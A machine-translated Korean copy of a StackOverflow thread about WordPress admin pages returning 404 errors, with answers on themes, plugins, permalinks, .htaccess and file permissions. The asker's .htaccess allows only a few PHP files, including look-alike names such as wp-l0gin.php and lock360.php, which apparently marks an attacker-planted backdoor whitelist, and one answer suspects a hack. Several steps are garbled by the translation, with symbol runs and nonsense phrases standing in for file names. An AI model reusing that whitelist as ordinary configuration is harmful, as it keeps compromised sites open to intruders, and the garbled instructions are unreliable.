관리 링크에 404 WordPress가 표시됨
로그인 성공 후 관리 패널의 어느 페이지에도 액세스 할 수 없습니다(새로운 투고를 작성할 수 없습니다, 투고를 편집할 수 없습니다, 페이지를 작성할 수 없습니다, 왼쪽 사이드바의 어느 페이지에도 액세스 할 수 없습니다).모두 404 에러가 표시됩니다.확인했습니다..htaccess
하지만 괜찮아요permalink 페이지에 404 에러가 나타나기 때문에 접근할 수 없습니다.
어제 접속을 시도하기 전까지 모두 동작하고 있었습니다.
.htaccess 파일
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
@BlackPearl 저는 여러 번 연락을 취해서 웹사이트 디버깅을 도와드리려고 했지만 응답하지 않았습니다.'샷건 어프로치'를 하지 않도록 도와드리겠습니다.온라인에서 찾을 수 있는 모든 조합이나 사람들이 당신에게 던지는 조합에 도전해 보세요.
어쨌든, 경험에 비추어 볼 때, 이러한 현상은 주로 한 가지 이유로 인해 발생합니다.그것은 시대에 뒤떨어진 테마나 오래된 플러그인입니다.오래된 테마와 플러그인은 시간이 지남에 따라 새로운 버전의 워드프레스와의 호환성이 떨어지고 온갖 종류의 심각한 오류가 발생합니다.서버 및 호스트 회사가 이러한 구식 테마 및 플러그인 기능을 지원하지 않는 새로운 버전의 PHP로 마이그레이션하기 때문에 이러한 현상이 발생할 수 있습니다.
디버깅하려면 다음 절차를 수행합니다.
- 내가 가장 먼저 시도하는 것은 주제를 바꾸는 것이다.현재 테마를 워드프레스 기본 테마로 전환합니다.
- 고객님의 고객명
wp-config.php
변신을 시도하다"DB_CHARSET"
"utf"만 사용할 수 있습니다. - 어떤 이유로 파일이 파손될 수 있으므로
index.php
wordpress core root 폴더에 있는 파일에 올바른 내용이 있습니다.테마의 루트 폴더에 있는 것이 아니라, 다른 하나는 같은 디렉토리에 있습니다.wp-admin
폴더가 있습니다. - WordPress 캐시를 지웁니다.사이트에서 캐시 플러그인 중 하나를 사용하는 경우 플러그인 캐시를 지웁니다.
- 맨 위 및/또는 맨 아래에 여분의 공간이 있는지 확인합니다.
functions.php
만약 그렇다면, 여분의 공간을 제거하세요 - 워드프레스 사이트에서 그래픽/이미지 관련 플러그인을 사용하는 경우 메모리 제한을 늘리십시오.
- 고객님의 고객명
wp-config.php
파일, 정의('WP_MEMORY_LIMIT', '256M');
- 고객님의 고객명
폴더에 .htaccess 파일이 없는지 확인합니다.파일이 있으면 삭제합니다.
문제가 해결되지 않으면...
하세요.mod_rewrite
서버에서 mod_rewrite가 활성화 되어 있는지 확인하는 방법
mod를 활성화하고 apache를 재시작합니다.
문제가 해결되지 않으면...
Apache 구성에서 .htaccess가 허용되는지 확인합니다.
Apache 구성 찾기
하세요.AllowOverride
는 「Directive」로 되어 있습니다.All
그리고 그 안에서<Directory /var/www/your/dir/where/wp/is>
:
Apache를 다시 시작해야 합니다.
문제가 해결되지 않으면...
.htaccess를 삭제하고 permalink를 리셋합니다.
★★★★★★★★★★★★★★★로 이동/wp-login.php
로그인 합니다.
설정 -> Permalinks -> Save. (WP는 자동으로 .htaccess를 다시 작성합니다.
수 permalinks 에 스니펫을 합니다.functions.php
:
add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );
★★★★★★★★★★★★★★★...이제 .httacces가 다시 생성됩니다.「」에서 합니다.functions.php
.
문제가 해결되지 않으면...
플러그인을 사용하지 않도록 설정해 보십시오.폴더 이름 바꾸기wp-content/plugins
로로 합니다._plugins
페이지를 새로 고칩니다.이제 플러그인이 비활성화됩니다.
문제가 해소되면 문제가 다시 발생할 때까지 플러그인을 1개씩 활성화합니다.이렇게 해서 결함이 있는 플러그인을 찾을 수 있습니다.
php 파일을 거부하시는군요.htaccess 파일을 덮어쓰는 플러그인이 있는 경우 해당 플러그인을 비활성화합니다.또는 현재 htaccess 파일을 편집하여 변경합니다.
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
로.
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
그래도 웹 사이트에 액세스할 수 없는 경우 현재 htaccess를 테스트용 기본 htaccess로 교체합니다.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
ftp(또는 ssh)를 사용하여 폴더 이름을 변경하여 모든 플러그인을 비활성화합니다.그러면 문제가 되고 있는 플러그인을 배제할 수 있습니다.문제가 해결되면 플러그인이 고장날 때까지 하나씩 다시 켜집니다.그 후, 플러그 인의 이름을 투고하면, 그 코드를 참조해, 무슨 일이 일어나고 있는지를 확인할 수 있습니다.
관리 제어판에서 [툴(Tools)]-> [사이트 헬스(Site Health)]으로 이동합니다.문제의 원인을 나타낼 가능성이 있는 문제를 찾습니다.
예를 들어 REST API에 오류가 있을 수 있습니다.이는 플러그인 또는 테마의 코드가 잘못되어 API 호출에 대한 적절한 응답이 깨졌을 때 발생합니다.이렇게 하면 페이지/게시물/기타 사용자 지정 게시물 유형과 같은 편집 작업이 중단됩니다.
해결하려면 모든 테마를 비활성화하십시오.하고 SFTP의 이름을 입니다.wp-content/plugins
「Directory 」의 .plugins-renamed
관리하다그런 다음 이름을 다시 바꿉니다.모든 플러그인이 비활성화되며 한 번에 하나씩 다시 활성화하면서 Site Health 페이지를 확인하여 문제가 재발하는지 확인할 수 있습니다.
또, 다른 테마를 유효하게 하고, 이것으로 문제가 해결되었는지 확인하십시오.
생각합니다,해킹당했습니다.config 파일을 체크해 주세요.이 파일은 php 실행을 방해하는 횡설수설한 코드를 가지고 있어야 합니다.데이터베이스를 복원하거나 최소한 확인하십시오.사용자 수를 확인합니다.admin 사용자가 있습니까?해당 사용자와 로그인해 보십시오.파일을 확인합니다.백업에서 복원을 시도합니다.unix 파일 설정이 실행 권한이 필요한 파일인지 확인하십시오.
https://www.malcare.com/blog/wordpress-file-permissions/
php 버전을 최신 버전으로 업그레이드하면 다시 살아납니다.WordPress는 지원되는 버전의 PHP를 사용하지 않을 때 문제가 발생할 수 있습니다.
제 경우 WordPress Plugins 페이지만 404로 표시되어 있고, 다른 페이지는 정상적으로 동작하고 있습니다.wp-admin/plugins 파일에 대한 권한을 확인했습니다.php는 666으로 설정되어 있으며, 다른 파일들은 거의 644개의 권한을 가지고 있습니다.권한을 644로 변경하면 문제가 해결되었습니다.cPanel File Manager를 사용하여 이 작업을 수행했습니다.
404 오류는 브라우저가 액세스하려는 페이지를 찾을 수 없음을 나타냅니다.사용하는 브라우저에 따라 정확한 메시지가 약간 다를 수 있습니다.첫 번째 시도는 당신의 퍼멀링크를 리셋하는 것입니다.WordPress 대시보드로 이동하여 Settings > Permalinks 순으로 이동합니다.여기서 Save Changes를 클릭합니다.그렇습니다. 실제로는 아무것도 편집할 필요가 없습니다.이 버튼을 클릭하면 변경을 하지 않아도 Permalink 설정이 갱신됩니다.
언급URL : https://stackoverflow.com/questions/68977750/admin-links-shows-404-wordpress
'source' 카테고리의 다른 글
오류 가져오기 - 'angular' 이름을 찾을 수 없습니다. (0) | 2023.02.28 |
---|---|
postgresql에서 jsonb 키의 문자열 대신 부울 값을 반환하려면 어떻게 해야 합니까? (0) | 2023.02.28 |
setState 메서드를 호출하면 상태가 즉시 변환되지 않는 이유는 무엇입니까? (0) | 2023.02.28 |
Woocommerce의 Linked Product에서 커스텀 필드를 추가하는 방법 (0) | 2023.02.28 |
리액트 라우터의 hashHistory와 browserHistory의 차이점은 무엇입니까? (0) | 2023.02.28 |